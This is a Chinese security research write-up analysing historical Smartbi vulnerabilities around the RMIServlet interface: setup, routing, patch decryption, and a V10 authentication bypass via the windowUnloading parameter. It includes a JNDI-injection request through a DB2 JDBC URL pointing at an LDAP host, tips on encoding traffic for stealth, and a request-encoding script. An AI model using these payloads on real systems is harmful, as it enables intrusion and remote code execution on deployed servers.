Smartbi历史漏洞分析(一)——RMIServlet接口引发的惨案
Smartbi的RMIServlet接口由于其方法调用的功能,出现过非常多漏洞,以这个接口为切入点,开始分析其出现过的部分历史漏洞。
本文仅用于网络安全研究与技术交流目的,所涉及的技术、方法及示例仅限于在合法授权的环境下进行测试与学习。严禁将本文内容用于任何未授权的攻击行为或非法用途。因读者不当使用本文内容而造成的任何直接或间接后果,均由使用者自行承担,作者不承担任何责任。请在遵守相关法律法规及道德规范的前提下开展安全研究工作。
前言
未特殊说明的,展示的代码截图默认为V11版本。
Smartbi在/smartbi/vision/RMIServlet处出过非常多的漏洞,故以此为切入点,深入分析一下Smartbi的历史漏洞。
本文目标:
1、环境搭建介绍
2、路由分析
3、补丁解密方法,补丁修复原理
4、鉴权分析
5、RMIServlet的职能
6、RMIServlet之DB2命令执行漏洞绕过史
7、RMIServlet之两个表达式执行漏洞



V10最后一个版本在20230407发布,而V11在20230703最早发布。所以网上文章若是在2023年左右的,大概率是在分析V10版本的漏洞,这点需要知道,不然可能在复现时,发现自己的源码和网上文章里的对不上。补丁修复日期在2023年及之前的,基本也都是修复V10版本的漏洞,这些漏洞在V11基本都被在代码中修复了。
文章中的部分资源:https://github.com/1diot9/MyJavaSecStudy/tree/main/CodeAudit/Smartbi
环境搭建
https://www.smartbi.com.cn/download
进入官方网站,点击右上角申请试用ABI,注册账户后,选择个人版进行下载即可,新下载的V11版本自带一个月激活,后续激活也可以自行到官网申请证书。

下载exe后,跟进指示步骤进行安装即可。
安装好后的项目结构如图:

自带的jdk是8u202版本,mysql版本为5.7.39
Smartbi开头的文件夹smartbi的其他服务,不是这里关注的重点。
Tomcat目录下,就是经典servlet项目的结构了。
bin/startup.cmd是windows下的启动脚本,所以远程调试参数要在这个文件里加,而不是一般的catalina.bat:

bin/exts-smartbi是smartbi的插件目录。
在启动前后,分别执行以下的命令:
netstat -ano | findstr '[::]' | findstr LISTENING
对比开放的端口,找出新开放的端口:
TCP 0.0.0.0:18080 0.0.0.0:0 LISTENING 1216 smartbi web服务
TCP 127.0.0.1:18005 0.0.0.0:0 LISTENING 1216 tomcat关闭端口
TCP [::]:18080 [::]:0 LISTENING 1216 smartbi web服务
TCP [::]:6688 [::]:0 LISTENING 32960 MYSQL
TCP [::]:9001 [::]:0 LISTENING 14948 HSQL
:5005 JVM远程调试注意,这里的6688端口,在smartbi安装好后,就以服务的形式常驻在系统中了,所以这不是我前后对比找到的,而是另外自己加入的,因为安装时有对6688端口进行检测。

mysql的用户名和密码默认为admin/admin,尝试登录:

最后把WEB-INF/lib和tomcat的lib全部添加到idea库,然后就可以开始远程调试了。
补充一下,其实还要把Tomcat/bin/exts-smartbi里出现的jar也添加进去,这里面是smartbi自带的扩展。
可以通过下面的交互式ps1脚本去提取jar文件:

param(
[Alias("s")]
[string]$Source = ".",
[Alias("o")]
[string]$Output = "",
[Alias("e")]
[string]$Ext = "",
[Alias("k")]
[string]$KeepStructure = ""
)
$ErrorActionPreference = "Stop"
if ([string]::IsNullOrWhiteSpace($Ext)) {
$Ext = Read-Host "Extensions (default: jsp, supports comma or space)"
if ([string]::IsNullOrWhiteSpace($Ext)) {
$Ext = "jsp"
}
}
if ([string]::IsNullOrWhiteSpace($Output)) {
$Output = Read-Host "Output directory (default: output)"
if ([string]::IsNullOrWhiteSpace($Output)) {
$Output = "output"
}
}
if ([string]::IsNullOrWhiteSpace($KeepStructure)) {
$keepStructureInput = Read-Host "Keep original directory structure? (Y/n, default: Y)"
if ([string]::IsNullOrWhiteSpace($keepStructureInput)) {
$KeepStructure = "true"
} else {
$KeepStructure = $keepStructureInput
}
}
$keepStructureEnabled = $false
switch ($KeepStructure.Trim().ToLowerInvariant()) {
"y" { $keepStructureEnabled = $true }
"yes" { $keepStructureEnabled = $true }
"true" { $keepStructureEnabled = $true }
"1" { $keepStructureEnabled = $true }
"n" { $keepStructureEnabled = $false }
"no" { $keepStructureEnabled = $false }
"false" { $keepStructureEnabled = $false }
"0" { $keepStructureEnabled = $false }
default {
throw "KeepStructure must be one of: Y, Yes, N, No, True, False, 1, 0."
}
}
$sourcePath = (Resolve-Path -LiteralPath $Source).Path
if ([System.IO.Path]::IsPathRooted($Output)) {
$outputPath = $Output
} else {
$outputPath = Join-Path -Path $sourcePath -ChildPath $Output
}
$normalizedSourcePath = [System.IO.Path]::GetFullPath($sourcePath)
$normalizedOutputPath = [System.IO.Path]::GetFullPath($outputPath)
$normalizedExtensions = $Ext -split "[;,\s]+" |
Where-Object { -not [string]::IsNullOrWhiteSpace($_) } |
ForEach-Object {
$item = $_.Trim().ToLowerInvariant()
if ($item.StartsWith(".")) {
$item
} else {
".{0}" -f $item
}
} |
Select-Object -Unique
if ($normalizedExtensions.Count -eq 0) {
throw "At least one file extension must be provided."
}
$invalidFileNameCharsPattern = "[{0}]" -f [Regex]::Escape(([string][System.IO.Path]::GetInvalidFileNameChars()))
$matchedFiles = Get-ChildItem -Path $normalizedSourcePath -Recurse -File |
Where-Object {
$fullName = [System.IO.Path]::GetFullPath($_.FullName)
(-not $fullName.StartsWith($normalizedOutputPath, [System.StringComparison]::OrdinalIgnoreCase)) -and
($normalizedExtensions -contains $_.Extension.ToLowerInvariant())
}
$duplicateNameMap = @{}
if (-not $keepStructureEnabled) {
$matchedFiles |
Group-Object -Property Name |
Where-Object { $_.Count -gt 1 } |
ForEach-Object {
$duplicateNameMap[$_.Name] = $true
}
}
if (-not (Test-Path -LiteralPath $normalizedOutputPath)) {
New-Item -ItemType Directory -Path $normalizedOutputPath | Out-Null
}
foreach ($item in $matchedFiles) {
$relativePath = $item.FullName.Substring($normalizedSourcePath.Length).TrimStart('\\')
if ($keepStructureEnabled) {
$targetPath = Join-Path -Path $normalizedOutputPath -ChildPath $relativePath
} else {
if ($duplicateNameMap.ContainsKey($item.Name)) {
$flattenedName = $relativePath -replace "[\\/]+", "."
$flattenedName = $flattenedName -replace $invalidFileNameCharsPattern, "_"
$targetFileName = $flattenedName
} else {
$targetFileName = $item.Name
}
$targetPath = Join-Path -Path $normalizedOutputPath -ChildPath $targetFileName
if (Test-Path -LiteralPath $targetPath) {
$baseName = [System.IO.Path]::GetFileNameWithoutExtension($targetFileName)
$extension = [System.IO.Path]::GetExtension($targetFileName)
$index = 1
do {
$candidateName = "{0}.{1}{2}" -f $baseName, $index, $extension
$targetPath = Join-Path -Path $normalizedOutputPath -ChildPath $candidateName
$index++
} while (Test-Path -LiteralPath $targetPath)
}
}
$targetDir = Split-Path -Path $targetPath -Parent
if (-not (Test-Path -LiteralPath $targetDir)) {
New-Item -ItemType Directory -Path $targetDir -Force | Out-Null
}
Copy-Item -LiteralPath $item.FullName -Destination $targetPath -Force
}
Write-Host ("Done. Matched extensions: {0}" -f ($normalizedExtensions -join ", "))
Write-Host ("Output directory: {0}" -f $normalizedOutputPath)
Write-Host ("Keep original structure: {0}" -f $keepStructureEnabled)
Read-Host "Press Enter to exit"
之后,在javax.servlet.http.HttpServlet#service(javax.servlet.ServletRequest, javax.servlet.ServletResponse)断点,访问http://127.0.0.1:18080/smartbi/vision/index.jsp ,如果能断住,就没问题了。
具体版本可以看webapps/smartbi/vision/packageinfo.txt:

然后就可以开始调试了。
关于版本问题,我这里使用的是10.5.8,V11-20250507,V11-20260303这三个版本。其中V10版本的由于证书问题没法正常运行,只能静态分析。最新版本的V11官网可以下载。其他两个版本需要读者自行想办法获取。
V10登录页面:

V11登录页面:

路由分析
smartbi使用了标准的servlet模式和controller模式。
远程调试成功后,在HttpServlet#service上打断点,把所有的servlet和filter列出来:


try {
// 1. 获取 ServletContext
javax.servlet.ServletContext context = req.getServletContext();
StringBuilder sb = new StringBuilder();
// 2. 提取 Servlet 和 Servlet-Mapping
sb.append("================ Servlet Mappings ================\n");
java.util.Map<String, ? extends javax.servlet.ServletRegistration> servlets = context.getServletRegistrations();
for (javax.servlet.ServletRegistration reg : servlets.values()) {
sb.append(String.format("Servlet Name : %s\n", reg.getName()));
sb.append(String.format("Class Name : %s\n", reg.getClassName()));
sb.append(String.format("Mappings : %s\n", reg.getMappings()));
sb.append("--------------------------------------------------\n");
}
// 3. 提取 Filter 和 Filter-Mapping
sb.append("\n================ Filter Mappings ================\n");
java.util.Map<String, ? extends javax.servlet.FilterRegistration> filters = context.getFilterRegistrations();
for (javax.servlet.FilterRegistration reg : filters.values()) {
sb.append(String.format("Filter Name : %s\n", reg.getName()));
sb.append(String.format("Class Name : %s\n", reg.getClassName()));
sb.append(String.format("URL Mappings : %s\n", reg.getUrlPatternMappings()));
sb.append(String.format("Servlet Mappings : %s\n", reg.getServletNameMappings()));
sb.append("--------------------------------------------------\n");
}
// 4. 将结果写入文件 (请根据你的操作系统修改路径,这里以 Windows 为例)
// 如果是 Mac/Linux,可以改成 "/tmp/web_mappings.txt"
String filePath = "servlet_mappings.txt";
java.nio.file.Path path = java.nio.file.Paths.get(filePath);
java.nio.file.Path absolutePath = path.toAbsolutePath();
java.nio.file.Files.write(
java.nio.file.Paths.get(filePath),
sb.toString().getBytes(java.nio.charset.StandardCharsets.UTF_8)
);
// 返回成功提示及提取的内容概览
return "提取成功,已写入文件: " + absolutePath + "\n\n" + sb.substring(0, 200);
} catch (Exception e) {
return "提取失败: " + e.getMessage();
}当然,直接看web.xml也行,但我觉得列出来更清楚一点。
发现有dispatcher:

然后在smartbixlibs.org.springframework.web.servlet.DispatcherServlet#doDispatch打断点,把controller和interceptor列出来:


try {
// 1. 创建临时文件
java.io.File file = java.io.File.createTempFile("spring_mvc_mappings_", ".txt");
java.io.PrintWriter writer = new java.io.PrintWriter(new java.io.OutputStreamWriter(new java.io.FileOutputStream(file), "UTF-8"));
// 获取 Spring 上下文
smartbixlibs.org.springframework.web.context.WebApplicationContext context = this.getWebApplicationContext();
// ==========================================================
// 2. 提取所有的 Controller 和 Method 映射关系
// ==========================================================
writer.println("================================\nController & Method Mappings\n================================");
java.util.Map<String, smartbixlibs.org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping> mappings =
context.getBeansOfType(smartbixlibs.org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
for (smartbixlibs.org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping mapping : mappings.values()) {
java.util.Map<smartbixlibs.org.springframework.web.servlet.mvc.method.RequestMappingInfo, smartbixlibs.org.springframework.web.method.HandlerMethod> handlerMethods = mapping.getHandlerMethods();
for (java.util.Map.Entry<smartbixlibs.org.springframework.web.servlet.mvc.method.RequestMappingInfo, smartbixlibs.org.springframework.web.method.HandlerMethod> entry : handlerMethods.entrySet()) {
writer.println("Mapping : " + entry.getKey().toString());
writer.println("Method : " + entry.getValue().getBeanType().getName() + "#" + entry.getValue().getMethod().getName());
writer.println("--------------------------------------------------");
}
}
// ==========================================================
// 3. 提取所有的 Interceptor 和 Mapping 映射关系
// ==========================================================
writer.println("\n================================\nInterceptor Mappings\n================================");
if (this.getHandlerMappings() != null) {
for (Object hm : this.getHandlerMappings()) {
writer.println(">>> HandlerMapping Channel: " + hm.getClass().getName());
// 向上遍历父类,寻找 adaptedInterceptors 字段(最稳定,不依赖特定包名)
java.util.List<?> interceptors = null;
try {
Class<?> clazz = hm.getClass();
java.lang.reflect.Field field = null;
while (clazz != null && field == null) {
try {
field = clazz.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field != null) {
field.setAccessible(true);
interceptors = (java.util.List<?>) field.get(hm);
}
} catch (Exception ignore) {}
if (interceptors != null && !interceptors.isEmpty()) {
for (Object interceptor : interceptors) {
if (interceptor != null && interceptor.getClass().getName().endsWith("MappedInterceptor")) {
Object actualInterceptor = interceptor;
Object incObj = null;
Object excObj = null;
try {
java.lang.reflect.Field incField = interceptor.getClass().getDeclaredField("includePatterns");
incField.setAccessible(true);
incObj = incField.get(interceptor);
} catch (Exception e) {}
try {
java.lang.reflect.Field excField = interceptor.getClass().getDeclaredField("excludePatterns");
excField.setAccessible(true);
excObj = excField.get(interceptor);
} catch (Exception e) {}
// --- 【去 Lambda 化】纯代码铺开解析 Include 规则 ---
String includesStr = "[]";
if (incObj instanceof String[]) {
includesStr = java.util.Arrays.toString((String[]) incObj);
} else if (incObj instanceof Object[]) {
java.util.List<String> list = new java.util.ArrayList<>();
for (Object item : (Object[]) incObj) {
if (item != null) {
try {
java.lang.reflect.Method m = item.getClass().getMethod("getPatternString");
m.setAccessible(true);
list.add((String) m.invoke(item));
} catch (Exception e) {
list.add(item.toString());
}
}
}
includesStr = list.toString();
} else if (incObj != null) {
includesStr = incObj.toString();
}
// --- 【去 Lambda 化】纯代码铺开解析 Exclude 规则 ---
String excludesStr = "[]";
if (excObj instanceof String[]) {
excludesStr = java.util.Arrays.toString((String[]) excObj);
} else if (excObj instanceof Object[]) {
java.util.List<String> list = new java.util.ArrayList<>();
for (Object item : (Object[]) excObj) {
if (item != null) {
try {
java.lang.reflect.Method m = item.getClass().getMethod("getPatternString");
m.setAccessible(true);
list.add((String) m.invoke(item));
} catch (Exception e) {
list.add(item.toString());
}
}
}
excludesStr = list.toString();
} else if (excObj != null) {
excludesStr = excObj.toString();
}
// 获取真正干活的 Interceptor
try {
java.lang.reflect.Field intField = interceptor.getClass().getDeclaredField("interceptor");
intField.setAccessible(true);
actualInterceptor = intField.get(interceptor);
} catch (Exception e) {}
writer.println("Interceptor : " + actualInterceptor.getClass().getName());
writer.println("Include URLs: " + includesStr);
writer.println("Exclude URLs: " + excludesStr);
writer.println("--------------------------------------------------");
} else if (interceptor != null) {
writer.println("Global Interceptor: " + interceptor.getClass().getName());
writer.println("--------------------------------------------------");
}
}
} else {
writer.println("No interceptors attached.");
writer.println("--------------------------------------------------");
}
}
}
// 4. 落盘并返回绝对路径
writer.flush();
writer.close();
return "提取成功!文件路径: " + file.getAbsolutePath();
} catch (Exception e) {
return "提取失败: " + e.getMessage();
}
然而,上面的结果是不完整的,因为smartbi还有插件机制,插件不在webapps下,所以不共享servletContext,无法通过上面的方法列出。下面补丁分析的时候能看到插件的位置。
补丁分析
官网补丁链接
https://www.smartbi.com.cn/patchinfo
补丁解密
从官网下载的补丁,打开后发现是一串base64,大概率是加密后的。

根据官网wiki:https://wiki.smartbi.com.cn/pages/viewpage.action?pageId=50692623
找到手动安装补丁的位置:

手动更新后抓包,定位接口:

然而,在上面路由分析得到的servlet-mapping和controller-mapping搜索,都找不到对应的方法。
这里用到一种新方法,在service方法上断点,然后直接找对应servlet的绝对路径。因为进入service后,this已经是实际处理请求的servlet了。
this.getClass().getProtectionDomain().getCodeSource().getLocation()

于是知道了对应jar包的位置,将其添加进idea库,然后看一下extension.xml:

找到了对应的servlet,是SecurityPatchUploadServlet。跟进如下图所示的调用栈:


最终发现是AES/CBC/PKCS5Padding加密,key和iv都为1234567812345678
在cyberchef中解密并保存为jar:


patch逻辑
先概括一下:当前版本,内置前面所有的补丁,但不是通过patch的方式,而是在代码中直接修复;上传补丁后,只有当前版本之后出现的新漏洞,才会被patch;补丁patch可以回退,但无法改变这个版本内置的补丁
在smartbi.security.patch.PatchFilter#reload,直接拉到最后:

urlRules是关键,往上找:


一开始会新建一个空urlRules,然后添加内置补丁中不存在的patch,最后add进urlRules。
然后在smartbi.security.patch.PatchFilter#doFilter生效:

还有一点需要知道,Smartbi的补丁可能会多次进行同样的修补,比如:
20220810

20230822

这种是正常情况,不必怀疑是自己看花眼了。
鉴权分析
V10-windowUnloading导致的鉴权失效
此问题仅存在于V10版本。
来到smartbi.freequery.filter.CheckIsLoggedFilter#doFilter:

这里有多种方法对这三个参数进行赋值,跟上面V11版本中解析RMIInfo时一样。这里我们选择在windowUnloading=&后面直接加上URL编码后的参数。最终只会对三个attribute进行设置。
接着会进行鉴权:


这里的鉴权是白名单机制的。因此,刚刚在windowUnloading=&后传入的参数,需要在白名单内,以此通过鉴权。
然而,当进入RMIServlet,进行RMIInfo解析时,调用parseRMIInfo:


这里首先调用getRMIInfoFromRequest进行RMIInfo解析,会尝试获取request中的ATTR_KEY_RMIINFO属性。但是在前面CheckIsLoggedFilter#doFilter,并没有对这个属性进行设置,因此会进入后面的解析流程,直接通过request.getParameter去取出参数,因此可以在请求体里再放一组实际要调用的参数。
分析到这里,大家应该能够看出端倪了:在鉴权时被校验的className和methodName,和实际调用的并不同。鉴权时用到的,是通过windowUnloading=&传入的;实际调用的,是通过请求体传入的。这样就达到了任意Service方法调用的效果。
看看V11是怎么修复这个问题的。


现在不是在filter里写解析方法了,而是直接调用parseRMIInfo,在最后会对ATTR_KEY_RMIINFO进行设置,确保进入RMIServlet时,解析出来的参数是一致的。
实际上,V10版本中的parseRMIInfo在最后也会设置ATTR_KEY_RMIINFO:

只不过windowUnloading=&的逻辑被单独拿到filter里实现了,从而导致了鉴权绕过。
V11-鉴权逻辑
主要逻辑仍然在smartbi.freequery.filter.CheckIsLoggedFilter#doFilter,但是needToCheck发生了改变:


当method不存在FunctionPermission注解时,调用FilterUtil.needToCheck,跟V10的机制一样:

当存在FunctionPermission注解时,且注解中的value字符数组只存在NOT_LOGIN_REQUIRED这一个字符串时,就无需鉴权,否则都需要鉴权。
另外,注解上的level似乎对鉴权的影响不是在filter产生的,而是在具体的方法中做检测,比如smartbi.defender.rmi.DefenderClientService#checkConfigItem:

在smartbi.framework.rmi.RMIModule#needToCheckIsLoggedIn打断点即可获取所有service方法和公开的service方法:
公开的service方法:
RMIModule module = RMIModule.getInstance();
Map<String, ClientService> map = module.getServices();
Set<String> strings = map.keySet();
StringBuilder stringBuilder = new StringBuilder();
for (String key : strings){
ClientService clientService = map.get(key);
List<Method> methods = clientService.getMethods();
for (Method method : methods){
FunctionPermission funcPerm = (FunctionPermission) method.getAnnotation(FunctionPermission.class);
if (funcPerm == null){
continue;
}
String[] perms = funcPerm.value();
boolean notLoginRequired = perms.length == 1 && "NOT_LOGIN_REQUIRED".equals(perms[0]);
if (notLoginRequired){
String className = method.getDeclaringClass().getName();
String methodName = method.getName();
stringBuilder.append(className+"#"+methodName+"\n");
}
}
}
File file = new File("publicServiceMethod.txt");
FileOutputStream fos = new FileOutputStream(file);
fos.write(stringBuilder.toString().getBytes());
String path = file.getAbsolutePath();
return "File Write to:" + path;
所有的service方法:
RMIModule module = RMIModule.getInstance();
HashMap<String, ClientService> services = (HashMap) module.getServices();
StringBuilder sb = new StringBuilder();
for (String key : services.keySet()){
ClientService clientService = services.get(key);
String className = clientService.getModule().getClass().getName();
List<Method> methods = clientService.getMethods();
for (Method method : methods){
String methodName1 = method.getName();
sb.append(className + "#" + methodName1 + "\n");
}
sb.append("\n\n");
}
File file = new File("RMIServiceMethod.txt");
FileOutputStream fos = new FileOutputStream(file);
fos.write(sb.toString().getBytes());
String absolutePath = file.getAbsolutePath();
return "文件已经写入:" + absolutePath;RMIServlet职责
V11
以下为V11版本源码。
简单来说,就是通过传入的className,methodName和params,以反射的方式,去调用指定Service的方法。
先看doGet:

当jsonpCallback不为空时,调用doPost:


doPost会解析出RMIInfo,然后取出其中的className,methodName,params,然后反射调用。
需要看一下怎么解析RMIInfo的,来到smartbi.util.RMIUtil#parseRMIInfo(javax.servlet.http.HttpServletRequest, boolean):


如果是从doPost方法跟进到这里,会发现在一开始的getRMIInfoFromRequest就获取到了RMIInfo,但是request attribute中的ATTR_KEY_RMIINFO是在哪里设置的?
其实也是在parseRMIInfo,最先在LogFilter的时候就设置好了:



其实在smartbi.freequery.filter.CheckIsLoggedFilter#doFilter时也会解析一遍:

但是这个这个filter的重点不是解析RMIInfo,而是做鉴权,这个后面会讲。
接下来主要关注,smartbi.util.RMIUtil#parseRMIInfo(javax.servlet.http.HttpServletRequest, boolean)中,有多少种方法能够从我们的请求中取出这三个关键的参数,为后续可能的绕过做准备。
1、windowUnloading

当GET参数中出现windowUnloading=&或windowUnloading&时,就会进入这个判断。
可以直接在GET参数中直接传递,URL编码可选:

POST /smartbi/vision/RMIServlet?windowUnloading=&{{urlesc(className=DataSourceService&methodName=testConnection¶ms=[{"url":"jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:50389/4c94ba;","name":"baka666","driverType":"DB2","validationQuery":"select","driver":"com.ibm.db2.jcc.DB2Driver","maxConnection":"100","transactionIsolation":"1","validationQueryMethod":"3","authenticationType":"test","driverCatalog":"test"}])}} HTTP/1.1
Host: 127.0.0.1:18080
Cookie: JSESSIONID=BB80D95CEFED4A7DBD1E5A03483FB226
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
或者传入encode参数,内容为特定编码后的原参数:

需要注意,encode不能和className、methodName同时传入,否则报错。
2、正常POST/GET传入

同样可以encode编码。
3、请求体流传入

POST /smartbi/vision/RMIServlet HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----SmartbiBoundary
------SmartbiBoundary
Content-Disposition: form-data; name="className"
UserService
------SmartbiBoundary
Content-Disposition: form-data; name="methodName"
checkVersion
------SmartbiBoundary
Content-Disposition: form-data; name="params"
[]
------SmartbiBoundary--同样支持encode。
建议通过encode传入,流量更加隐蔽。
关于如何进行encode,也困扰了挺久,smartbi.util.codeutil.ReplaceCoder#encode这个编码好像有问题,加密出来只是替换了%
后面在抓包时发现,index.jsp页面会自动请求/RMIServlet,并且携带encode参数:

于是f12分析一下js里是怎么编码的,随便找了一个请求:

全部打上断点。
在domutils.doPost的时候,已经被加密:

能够看的,上面先对className等三个参数进行URL编码,然后coder.encode是进行加密,打上断点,一路跟进,最后来到http://127.0.0.1:18080/smartbi/vision/freequery.common.codeutil.ReplaceCoder.js:

把这段丢给AI,最终拿到参数加解密脚本:
https://github.com/1diot9/MyJavaSecStudy/blob/main/CodeAudit/Smartbi/pycharm/poc/rmi_codec.py
#!/usr/bin/env python3
"""Unified Smartbi RMI request/response codec helper."""
from __future__ import annotations
from typing import Dict, Tuple
from urllib.parse import quote, quote_plus, unquote, unquote_plus
SF1_CODE_ARRAY = [
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 80, 0, 0, 0, 47, 0, 110,
65, 69, 115, 43, 0, 102, 113, 37, 55, 49,
117, 78, 75, 74, 77, 57, 39, 109, 123, 0,
0, 0, 0, 0, 0, 79, 86, 116, 84, 97,
120, 72, 114, 99, 118, 108, 56, 70, 51, 111,
76, 89, 106, 87, 42, 122, 90, 33, 66, 41,
85, 93, 0, 91, 0, 121, 0, 40, 126, 105,
104, 112, 95, 45, 73, 82, 46, 71, 83, 100,
54, 119, 53, 48, 52, 68, 107, 81, 103, 98,
67, 50, 88, 58, 0, 0, 101, 0,
]
RESPONSE_JAVA_DECODE_ARRAY = [
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 87, 0, 0, 0, 47, 0, 56, 97, 89, 84, 43, 0, 103, 106, 37,
113, 49, 121, 78, 114, 112, 110, 48, 76, 55, 123, 0, 0, 0, 0, 0,
0, 40, 88, 120, 115, 41, 77, 107, 71, 104, 53, 52, 80, 54, 51, 65,
33, 117, 105, 108, 68, 90, 66, 83, 122, 81, 86, 93, 0, 91, 0, 102,
0, 69, 119, 73, 109, 126, 45, 118, 100, 99, 82, 116, 75, 57, 39, 79,
101, 46, 72, 42, 67, 50, 74, 111, 70, 95, 85, 58, 0, 0, 98, 0,
]
RESPONSE_JAVA_ENCODE_ARRAY = [
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 80, 0, 0, 0, 47, 0, 110, 65, 69, 115, 43, 0, 102, 113, 37,
55, 49, 117, 78, 75, 74, 77, 57, 39, 109, 123, 0, 0, 0, 0, 0,
0, 79, 86, 116, 84, 97, 120, 72, 114, 99, 118, 108, 56, 70, 51, 111,
76, 89, 106, 87, 42, 122, 90, 33, 66, 41, 85, 93, 0, 91, 0, 121,
0, 40, 126, 105, 104, 112, 95, 45, 73, 82, 46, 71, 83, 100, 54, 119,
53, 48, 52, 68, 107, 81, 103, 98, 67, 50, 88, 58, 0, 0, 101, 0,
]
HEX_SPECIAL_CHARS = [
33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45,
46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94,
95, 96, 120, 123, 124, 125, 126,
]
URI_SAFE = "-_.!~*'()"
HEX_PREFIX = "0x"
HEX_SUFFIX = "x9"
def _build_map(code_array) -> Dict[str, str]:
mapping: Dict[str, str] = {}
for idx, value in enumerate(code_array):
if value:
mapping[chr(idx)] = chr(value)
return mapping
SF1_REQUEST_ENCODE_MAP = _build_map(SF1_CODE_ARRAY)
SF1_REQUEST_DECODE_MAP = {value: key for key, value in SF1_REQUEST_ENCODE_MAP.items()}
SF1_RESPONSE_ENCODE_MAP = _build_map(RESPONSE_JAVA_DECODE_ARRAY)
SF1_RESPONSE_DECODE_MAP = _build_map(RESPONSE_JAVA_ENCODE_ARRAY)
SF2_HEX_ENCODE_MAP = {chr(code): format(code, "x") for code in HEX_SPECIAL_CHARS}
SF2_HEX_DECODE_MAP = {value: key for key, value in SF2_HEX_ENCODE_MAP.items()}
def _translate(text: str, mapping: Dict[str, str]) -> str:
return "".join(mapping.get(ch, ch) for ch in text)
def encode_uri_component(text: str) -> str:
return quote(text, safe=URI_SAFE)
def decode_uri_component(text: str) -> str:
return unquote(text)
def _response_encode_sf1(plain: str) -> str:
out = []
for ch in plain:
if ch not in ("%", "/"):
out.append(SF1_RESPONSE_ENCODE_MAP.get(ch, ch))
else:
out.append(ch)
return "".join(out)
def _response_decode_sf1(encoded: str) -> str:
out = []
for ch in encoded:
if ch != "%":
out.append(SF1_RESPONSE_DECODE_MAP.get(ch, ch))
else:
out.append(ch)
return "".join(out)
def _request_encode_sf1(plain: str) -> str:
return _translate(plain, SF1_REQUEST_ENCODE_MAP)
def _request_decode_sf1(encoded: str) -> str:
return _translate(encoded, SF1_REQUEST_DECODE_MAP)
def _hex_escape(text: str) -> str:
out = []
for ch in text:
hex_value = SF2_HEX_ENCODE_MAP.get(ch)
if hex_value is None:
out.append(ch)
else:
out.append(f"{HEX_PREFIX}{hex_value}{HEX_SUFFIX}")
return "".join(out)
def _hex_unescape_request(text: str) -> str:
out = []
pos = 0
while True:
begin = text.find(HEX_PREFIX, pos)
if begin < 0:
out.append(text[pos:])
break
out.append(text[pos:begin])
end = text.find(HEX_SUFFIX, begin)
if end < 0:
out.append(text[begin:])
break
hex_key = text[begin + len(HEX_PREFIX):end]
out.append(SF2_HEX_DECODE_MAP.get(hex_key, text[begin:end + len(HEX_SUFFIX)]))
pos = end + len(HEX_SUFFIX)
return "".join(out)
def _hex_unescape_response(text: str) -> str:
out = []
pos = 0
while True:
begin = text.find(HEX_PREFIX, pos)
if begin < 0:
out.append(text[pos:])
break
out.append(text[pos:begin])
end = text.find(HEX_SUFFIX, begin)
if end < 0:
out.append(text[begin:])
break
hex_key = text[begin + len(HEX_PREFIX):end]
out.append(SF2_HEX_DECODE_MAP.get(hex_key, hex_key))
pos = end + len(HEX_SUFFIX)
return "".join(out)
class Algorithm:
def __init__(self, name: str) -> None:
self.name = name
def encode_request(self, plain: str) -> str:
if self.name == "SF1":
return _request_encode_sf1(plain)
if self.name == "SF2":
return _hex_escape(_request_encode_sf1(plain))
if self.name == "SF3":
return plain
raise ValueError(f"unsupported algorithm: {self.name}")
def decode_request(self, encoded: str) -> str:
if self.name == "SF1":
return _request_decode_sf1(encoded)
if self.name == "SF2":
return _request_decode_sf1(_hex_unescape_request(encoded))
if self.name == "SF3":
return encoded
raise ValueError(f"unsupported algorithm: {self.name}")
def encode_response(self, plain: str) -> str:
if self.name == "SF1":
return _response_encode_sf1(plain)
if self.name == "SF2":
return _hex_escape(_response_encode_sf1(plain))
if self.name == "SF3":
return plain
raise ValueError(f"unsupported algorithm: {self.name}")
def decode_response(self, encoded: str) -> str:
if self.name == "SF1":
return _response_decode_sf1(encoded)
if self.name == "SF2":
return _response_decode_sf1(_hex_unescape_response(encoded))
if self.name == "SF3":
return encoded
raise ValueError(f"unsupported algorithm: {self.name}")
ALGORITHMS = {
"SF1": Algorithm("SF1"),
"SF2": Algorithm("SF2"),
"SF3": Algorithm("SF3"),
}
class SmartbiRMICodec:
def __init__(self, algorithm: str = "SF1") -> None:
algorithm_name = algorithm.upper()
if algorithm_name not in ALGORITHMS:
raise ValueError(f"unsupported algorithm: {algorithm}")
self.algorithm = ALGORITHMS[algorithm_name]
@staticmethod
def build_plain_request_text(class_name: str, method_name: str, params_text: str) -> str:
return f"{class_name} {method_name} {encode_uri_component(params_text)}"
@staticmethod
def split_plain_request_text(plain: str) -> Tuple[str, str, str]:
parts = plain.split(" ", 2)
if len(parts) != 3:
raise ValueError(f"invalid plain RMI request text: {plain!r}")
class_name, method_name, encoded_params = parts
return class_name, method_name, decode_uri_component(encoded_params)
@staticmethod
def normalize_captured_value(text: str) -> str:
return unquote_plus(text[7:] if text.startswith("encode=") else text)
def encode_request_value(self, class_name: str, method_name: str, params_text: str) -> str:
plain = self.build_plain_request_text(class_name, method_name, params_text)
encoded_value = self.algorithm.encode_request(plain)
return quote_plus(encoded_value, safe="()/")
def encode_request_body(self, class_name: str, method_name: str, params_text: str) -> str:
encoded_value = self.encode_request_value(class_name, method_name, params_text)
return "encode=" + encoded_value
def decode_request_value(self, encoded_text: str) -> Tuple[str, str, str]:
normalized = self.normalize_captured_value(encoded_text)
